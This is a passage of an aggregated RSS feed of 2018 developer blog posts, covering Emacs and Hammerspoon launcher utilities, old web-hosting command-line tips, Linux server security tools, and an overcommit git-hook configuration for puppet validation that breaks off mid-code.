&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=22492381"&gt;Using Anki to remember what you read | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=22492381"&gt;Using Anki to remember what you read | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/human-memory-bookmarks</guid></item><item><title>Typesafe handling of remote APIs with Flow</title><link>https://goshacmd.com/flow-type-safe-remote-api/</link><author>Gosha Spark</author><pubDate>Sun, 08 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/flow-type-safe-remote-api/</guid></item><item><title>Secure your Linux server with these tools</title><link>https://yasha.solutions/secure-your-linux-server-with-these-tools/</link><description>As much for you as for myself, here is a list of tools you might want to have in mind :
 Software you can install to avoid issues ClamAv(Antivirus)
chkrootkit(Check for Root kits)
Maldet or LMD(Linux Malware Detection)
Ispprotect (commercial 90$ a year)
 Commands you can run to check for issues netstat –an
Displays the network connections and generic statistics
 ps –ef
Lists every currently running process</description><author>Yasha Solutions</author><pubDate>Sat, 07 Jul 2018 17:40:40 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/secure-your-linux-server-with-these-tools/</guid></item><item><title>Who needs insurance when they can have a blockchain?</title><link>https://stop.zona-m.net/2018/07/who-needs-insurance-when-they-can-have-a-blockchain/</link><description>&lt;p&gt;Almost everybody, I guess. Even if it may be a very different kind of insurance.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 07 Jul 2018 04:19:02 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/who-needs-insurance-when-they-can-have-a-blockchain/</guid></item><item><title>Emacs utilities for your OS</title><link>https://xenodium.com/emacs-utilities-for-your-os</link><description>&lt;p&gt;Narrowing utilities are a wonderful way of increasing productivity. I have a few workflows using Emacs's &lt;a href="https://github.com/emacs-helm/helm"&gt;Helm&lt;/a&gt; framework.&lt;/p&gt;
&lt;p&gt;There are great productivity boosters like &lt;a href="https://www.alfredapp.com/"&gt;Alfred&lt;/a&gt; and &lt;a href="https://qsapp.com/"&gt;Quicksilver&lt;/a&gt; for macOS, with batteries included.&lt;/p&gt;
&lt;p&gt;If you're a tinkerer, you'd enjoy the powerful &lt;a href="http://hammerspoon.org/"&gt;Hammerspoon&lt;/a&gt;. Like elisp gluing all things Emacs, Hammerspoon uses Lua to glue all things macOS. You can build your own narrowing utilities using &lt;a href="http://www.hammerspoon.org/docs/hs.chooser.html"&gt;chooser&lt;/a&gt; and a little Lua.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;local chooser = hs.chooser.new(function(choice)
      hs.alert.show(choice['text'])
end)

chooser:choices({
      {
         [&amp;quot;text&amp;quot;] = &amp;quot;Alfred\n&amp;quot;,
         [&amp;quot;subText&amp;quot;] = &amp;quot;macOS only\n&amp;quot;,
      },
      {
         [&amp;quot;text&amp;quot;] = &amp;quot;Quicksilver\n&amp;quot;,
         [&amp;quot;subText&amp;quot;] = &amp;quot;macOS only\n&amp;quot;,
      },
      {
         [&amp;quot;text&amp;quot;] = &amp;quot;Hammerspoon\n&amp;quot;,
         [&amp;quot;subText&amp;quot;] = &amp;quot;macOS only\n&amp;quot;,
      },
      {
         [&amp;quot;text&amp;quot;] = &amp;quot;Emacs\n&amp;quot;,
         [&amp;quot;subText&amp;quot;] = &amp;quot;is everywhere :)\n&amp;quot;,
      },
})
chooser:show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-utilities-for-your-os/chooser.png" /&gt;&lt;/p&gt;
&lt;p&gt;Howard Abrams's post on &lt;a href="http://howardism.org/Technical/Emacs/capturing-content.html"&gt;Capturing Content for Emacs&lt;/a&gt; inspired me to look at gluing Emacs and macOS to launch my own cross-platform narrowing utilities.&lt;/p&gt;
&lt;p&gt;I've also taken this opportunity to look at Oleh Krehel's wonderful completion package: &lt;a href="https://github.com/abo-abo/swiper"&gt;Ivy&lt;/a&gt;. We can use it to build a macOS narrowing utility.&lt;/p&gt;
&lt;p&gt;Ivy is remarkably easy to use. Turns out, &lt;a href="http://oremacs.com/swiper/#api"&gt;ivy-read&lt;/a&gt; is all you need. A simple Emacs completion can be accomplished with little elisp.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(ivy-read &amp;quot;Hello ivy: &amp;quot;
          '(&amp;quot;One &amp;quot;
            &amp;quot;Two &amp;quot;
            &amp;quot;Three &amp;quot;
            &amp;quot;Four &amp;quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-utilities-for-your-os/simple_ivy.png" /&gt;&lt;/p&gt;
&lt;p&gt;Pretty nifty. Let's make this completion more accessible from the rest of the OS. To do so, we create a separate Emacs frame and make it pretty. We also want it to interact with the OS. We'll use &lt;em&gt;ivy-read&lt;/em&gt;'s &lt;em&gt;:action&lt;/em&gt; to invoke a tiny bit of AppleScript.&lt;/p&gt;
&lt;p&gt;Oh and we'll also use some funny quotes to tease ourselves about our beloved editor.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(with-current-buffer (get-buffer-create &amp;quot;*modal-ivy*&amp;quot;)
  (let ((frame (make-frame '((auto-raise . t)
                             (background-color . &amp;quot;DeepSkyBlue3&amp;quot;)
                             (cursor-color . &amp;quot;MediumPurple1&amp;quot;)
                             (font . &amp;quot;Menlo 15&amp;quot;)
                             (foreground-color . &amp;quot;#eeeeec&amp;quot;)
                             (height . 20)
                             (internal-border-width . 20)
                             (left . 0.33)
                             (left-fringe . 0)
                             (line-spacing . 3)
                             (menu-bar-lines . 0)
                             (minibuffer . only)
                             (right-fringe . 0)
                             (tool-bar-lines . 0)
                             (top . 48)
                             (undecorated . t)
                             (unsplittable . t)
                             (vertical-scroll-bars . nil)
                             (width . 110)))))
    (set-face-attribute 'ivy-minibuffer-match-face-1 frame
                        :background nil
                        :foreground nil)
    (set-face-attribute 'ivy-minibuffer-match-face-2 frame
                        :background nil
                        :foreground &amp;quot;orange1&amp;quot;)
    (set-face-attribute 'ivy-minibuffer-match-face-3 frame
                        :background nil
                        :foreground &amp;quot;orange1&amp;quot;)
    (set-face-attribute 'ivy-minibuffer-match-face-4 frame
                        :background nil
                        :foreground &amp;quot;orange1&amp;quot;)
    (set-face-attribute 'ivy-current-match frame
                        :background &amp;quot;#ffc911&amp;quot;
                        :foreground &amp;quot;red&amp;quot;)
    (set-face-attribute 'minibuffer-prompt frame
                        :foreground &amp;quot;grey&amp;quot;)
    (let ((ivy-height 20)
          (ivy-count-format &amp;quot;&amp;quot;))
      (ivy-read &amp;quot;Emacs acronyms: &amp;quot;
                '(&amp;quot; Emacs: Escape-Meta-Alt-Control-Shift &amp;quot;
                  &amp;quot; Emacs: Eight Megabytes And Constantly Swapping &amp;quot;
                  &amp;quot; Emacs: Even a Master of Arts Comes Simpler &amp;quot;
                  &amp;quot; Emacs: Each Manual's Audience is Completely Stupified &amp;quot;
                  &amp;quot; Emacs: Eventually Munches All Computer Storage &amp;quot;
                  &amp;quot; Emacs: Eradication of Memory Accomplished with Complete Simplicity &amp;quot;
                  &amp;quot; Emacs: Easily Maintained with the Assistance of Chemical Solutions &amp;quot;
                  &amp;quot; Emacs: Extended Macros Are Considered Superfluous &amp;quot;
                  &amp;quot; Emacs: Every Mode Accelerates Creation of Software &amp;quot;
                  &amp;quot; Emacs: Elsewhere Maybe All Commands are Simple &amp;quot;
                  &amp;quot; Emacs: Emacs Makes All Computing Simple &amp;quot;
                  &amp;quot; Emacs: Emacs Masquerades As Comfortable Shell &amp;quot;
                  &amp;quot; Emacs: Emacs My Alternative Computer Story &amp;quot;
                  &amp;quot; Emacs: Emacs Made Almost Completely Screwed &amp;quot;
                  &amp;quot; Emacs: Each Mail A Continued Surprise &amp;quot;
                  &amp;quot; Emacs: Eating Memory And Cycle-Sucking &amp;quot;
                  &amp;quot; Emacs: Elvis Masterminds All Computer Software &amp;quot;
                  &amp;quot; Emacs: Emacs Makes A Computer Slow&amp;quot; )
                :action (lambda (funny-quote)
                          (async-shell-command (format &amp;quot;osascript -e 'tell app \&amp;quot;System Events\&amp;quot; to display dialog \&amp;quot;%s\&amp;quot; buttons {\&amp;quot;OK\&amp;quot;}'&amp;quot; funny-quote)))
                :unwind (lambda ()
                          (shell-command &amp;quot;/Applications/Hammerspoon.app/Contents/Resources/extensions/hs/ipc/bin/hs -c 'backFromEmacs()'&amp;quot;)
                          (delete-frame)
                          (other-window 1))))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-utilities-for-your-os/ivy_frame.gif" /&gt;&lt;/p&gt;
&lt;p&gt;So where's all this going? I wrote a utility to extract all links from &lt;a href="https://raw.githubusercontent.com/xenodium/xenodium.github.io/master/index.org"&gt;this page's org file&lt;/a&gt; and make them easily searchable from anywhere on macOS by invoking &lt;strong&gt;⌥-W&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The keys are bound using Lua, Hammerspoon, and emacsclient. This works well on macOS, but there are alternatives for other operating systems.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hs.execute(&amp;quot;emacsclient -ne \&amp;quot;&amp;quot;..elisp..&amp;quot;\&amp;quot; -s /tmp/emacs*/server&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here's the resulting utility in action:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-utilities-for-your-os/ivy_links.gif" /&gt;&lt;/p&gt;
&lt;p&gt;These integrations look promising. They enable me to bring cross-platform Emacs utilities into areas I hadn't considered.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 07 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-utilities-for-your-os</guid></item><item><title>Go v1.10.3 vs Node v10.6.0 Microbenchmark</title><link>https://thomashunter.name/posts/2018-07-07-go-v1-10-3-vs-node-v10-6-0-microbenchmark</link><author>Thomas Hunter II</author><pubDate>Sat, 07 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-07-07-go-v1-10-3-vs-node-v10-6-0-microbenchmark</guid></item><item><title>Tech Tips from Another Lifetime</title><link>https://sean.lane.sh/posts/2018/07/Tech-Tips-from-Another-Lifetime/</link><description>&lt;p&gt;The following is mostly for my own personal reference. About 5 years ago, I worked as a technical support agent for a fairly large webhosting company that used to be located in Utah, and at the time I kept a small Wordpress site with some tips or code snippets that often came in handy. I was cleaning out soem old files, and came across the SQL dump of that site when I left that job. I&amp;rsquo;m turning them all into a post here for future reference.&lt;/p&gt;
&lt;h2 id="mtr---combo-of-ping-and-traceroute"&gt;MTR - Combo of &lt;code&gt;ping&lt;/code&gt; and &lt;code&gt;traceroute&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ mtr --report google.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;Start: 2018-07-07T17:31:19-0600
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;HOST: sean                        Loss%   Snt   Last   Avg  Best  Wrst StDev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  1.|-- _gateway                   0.0%    10    0.7   0.8   0.7   0.9   0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; 14.|-- 108.170.234.125            0.0%    10   30.5  30.5  30.4  30.6   0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; 15.|-- 108.170.247.129            0.0%    10   32.0  32.2  31.9  32.7   0.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; 16.|-- 209.85.242.103             0.0%    10   31.3  31.2  31.2  31.3   0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; 17.|-- lax02s23-in-f206.1e100.ne  0.0%    10   29.9  29.9  29.8  30.1   0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="curl-debug"&gt;Curl Debug&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ curl --trace-ascii debugdump.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="apache-redirect-http-to-https"&gt;Apache: Redirect HTTP to HTTPS&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-apache"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;RewriteEngine &lt;span style="color: #66d9ef;"&gt;On&lt;/span&gt;\r\nRewriteCond %{HTTPS} !on
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;RewriteRule (.*) &amp;lt;a href=&lt;span style="color: #e6db74;"&gt;"https://%%7BHTTP_HOST%7D%%7BREQUEST_URI%7D"&lt;/span&gt; target=&lt;span style="color: #e6db74;"&gt;"_BLANK"&lt;/span&gt;&amp;gt;https://%{HTTP_HOST}%{REQUEST_URI}&amp;lt;/a&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="use-exigrep-to-search-exim-logs"&gt;Use &lt;code&gt;exigrep&lt;/code&gt; to search EXIM logs&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-gdscript3"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;$&lt;/span&gt; sudo exigrep &lt;span style="color: #e6db74;"&gt;"email@address.com"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;/&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt;&lt;span style="color: #f92672;"&gt;/&lt;/span&gt;log&lt;span style="color: #f92672;"&gt;/&lt;/span&gt;exim_mainlog&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;{&lt;span style="color: #ae81ff;"&gt;14.&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;17&lt;/span&gt;}&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="change-filefolder-permissions-recursively-to-644755"&gt;Change File/Folder Permissions recursively to 644/755&lt;/h2&gt;
&lt;p&gt;Source: &lt;a href="http://rainsoftletters.wordpress.com/2008/07/22/recursively-chmodi-only-directories-or-files/"&gt;http://rainsoftletters.wordpress.com/2008/07/22/recursively-chmodi-only-directories-or-files/&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ find . -type d -exec chmod 755 {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ find . -type f -exec chmod 644 {}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="recursive-terminal-file-count"&gt;Recursive Terminal File Count&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ ls -R | wc -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="debuggin-wp-hacks"&gt;Debuggin WP Hacks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;mtime&lt;/code&gt; to see if anything was modified recently&lt;/li&gt;
&lt;li&gt;Use something like Sucuri, wepawet, unmasked parasites, etc for surface level hacks that are part of the discoverable file structure&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flush-the-dns-cache-in-windows-or-mac"&gt;Flush the DNS Cache in Windows or Mac&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Mac: &lt;code&gt;$ dscacheutil -flushcache&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Windows: &lt;code&gt;$ ipconfig /flushdns&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="count-ip-addresses-within-an-access-log"&gt;Count IP Addresses within an Access Log&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ file/path/to/log.txt | cut -f1 -d '' '' | sort | uniq -c | sort -g -r | head
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="find-files-older-than-day"&gt;Find files older than DAY&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ find ./cur/* -type f -ctime +[DAY]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Use &lt;code&gt;-ctime&lt;/code&gt; for created date and &lt;code&gt;-mtime&lt;/code&gt; for last modified date. Probably be careful with this one.&lt;/p&gt;
&lt;h2 id="show-disk-usage-sorted-by-size"&gt;Show Disk Usage, Sorted by Size&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ du -hs * | sort -hr
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Sat, 07 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/07/Tech-Tips-from-Another-Lifetime/</guid></item><item><title>Beat the averages</title><link>https://bytepawn.com/beat-the-averages.html</link><description>&lt;p&gt;When working with averages, we have to be careful. There are pitfalls lurking to pollute our statistics and results reported.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Probability distribution" src="/images/averages-7.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sat, 07 Jul 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/beat-the-averages.html</guid></item><item><title>Code Magazine: Learn Python with Visual Studio</title><link>https://nicolaiarocci.com/code-magazine-learn-python-with-visual-studio/</link><description>&lt;p&gt;On the July/August issue of &lt;a href="https://www.codemag.com/Magazine/Issue/2234cd29-d38d-43ae-a08e-e8c4d277b061"&gt;Code Magazine&lt;/a&gt;, available both printed and
online, you can find my article &lt;em&gt;Learn Python with Visual Studio&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Code Magazine" src="https://nicolaiarocci.com/images/codemag.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;From the incipit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the Stack Overflow Developer Survey for 2018, Python sits comfortably in
the first place as the most wanted programming language, with JavaScript and
Go coming second and third. Python also ranks third in the &amp;ldquo;most loved&amp;rdquo;
category.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Despite the age (20 years and counting), Python’s popularity keeps growing,
and for good reasons. It’s reliable, flexible, easy to learn, open-source,
and cross-platform since the beginning. It also helps that, over time, it
enjoys a robust and active developer community and incredibly rich eco-system
of free libraries supporting all kind of usages: Web applications and
services, desktop apps, scientific computing, scripting—you name it.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 06 Jul 2018 10:11:07 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/code-magazine-learn-python-with-visual-studio/</guid></item><item><title>Building AI Safely</title><link>https://ashvardanian.com/posts/building-ai-safely/</link><description>A 2018 conversation about AI safety, infrastructure, and the real dangers of weak AI in the hands of organizations optimizing for power over people.</description><author>Ash's Blog</author><pubDate>Fri, 06 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ashvardanian.com/posts/building-ai-safely/</guid></item><item><title>#braininstorm with myself on : Content planning</title><link>https://yasha.solutions/braininstorm-with-myself-on-content-planning/</link><description>Branding – who are you?
 Brand is your voice Why do you need a brand Your brand does not need a name What makes you special? Why do you do what you do? Some schemas Structure Logo / Copy / Brand Manager Chill and don’t over try to be “onbrand”  Membership and boxes
 Some explaination on the box business Examples Subscription business model</description><author>Yasha Solutions</author><pubDate>Thu, 05 Jul 2018 19:29:37 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/braininstorm-with-myself-on-content-planning/</guid></item><item><title>Overcommit git hooks: puppet validate</title><link>https://caiustheory.com/overcommit-git-hooks-puppet-validate/</link><description>&lt;p&gt;Computers are great at automatically checking things, and git has a mechanism for running hooks before events happen. Bosh these two things together and you can have git trigger anything you like before you&amp;rsquo;re allowed to commit, which in turn means you can sanity check exactly what you&amp;rsquo;re committing to make sure it meets whatever criteria you have.&lt;/p&gt;
&lt;p&gt;To make it easy to manage my git hooks in a consistent fashion, I use a tool called &lt;a href="https://github.com/brigade/overcommit"&gt;overcommit&lt;/a&gt;. This comes with a config file to tell it what you want triggered when, and a bunch of standard plugins to choose from.&lt;/p&gt;
&lt;p&gt;In a &lt;a href="https://puppet.com"&gt;puppet&lt;/a&gt; repo for instance, I have it check&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bundler.io"&gt;bundler&lt;/a&gt; is happy everything&amp;rsquo;s installed&lt;/li&gt;
&lt;li&gt;&lt;a href="http://puppet-lint.com"&gt;puppet-lint&lt;/a&gt; is happy with any changed puppet files&lt;/li&gt;
&lt;li&gt;Any JSON or YAML files involved in the commit have valid syntax&lt;/li&gt;
&lt;li&gt;Any shell scripts are valid (according to &lt;a href="https://www.shellcheck.net"&gt;shellcheck&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;There is no trailing whitespace left in files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This usually means something like the following in &lt;code&gt;.overcommit.yml&lt;/code&gt; in the git repo&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;PreCommit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BundleCheck&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;JsonSyntax&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PuppetLint&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ShellCheck&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;YamlSyntax&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on_warn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;fail&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the most part this works absolutely great. I have on occasion noticed that &lt;a href="http://puppet-lint.com"&gt;puppet-lint&lt;/a&gt; will let invalid puppet syntax slip through though which is irritating to find after you&amp;rsquo;ve pushed the changes up to the puppetmaster. The &lt;a href="https://puppet.com"&gt;puppet&lt;/a&gt; command line tool has a validate subcommand however, so we can hook that into overcommit as a custom hook in the repo.&lt;/p&gt;
&lt;p&gt;To do this we need to add our custom hook into the right directory, and we&amp;rsquo;re adding a hook to run before commits, so it goes into &lt;code&gt;.git-hooks/pre_commit&lt;/code&gt;. Lets name it for what it does, validating puppet syntax. So into &lt;code&gt;puppet_validate.rb&lt;/code&gt; we put the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# .git-hooks/pre_commit/puppet_validate.rb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="nn"&gt;Overcommit::Hook::PreCommit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PuppetValidate&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Base&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
